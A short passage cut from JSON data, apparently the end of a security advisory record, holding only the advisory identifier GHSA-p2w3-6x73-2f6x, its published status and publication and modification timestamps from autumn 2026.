GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:16.587575494Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}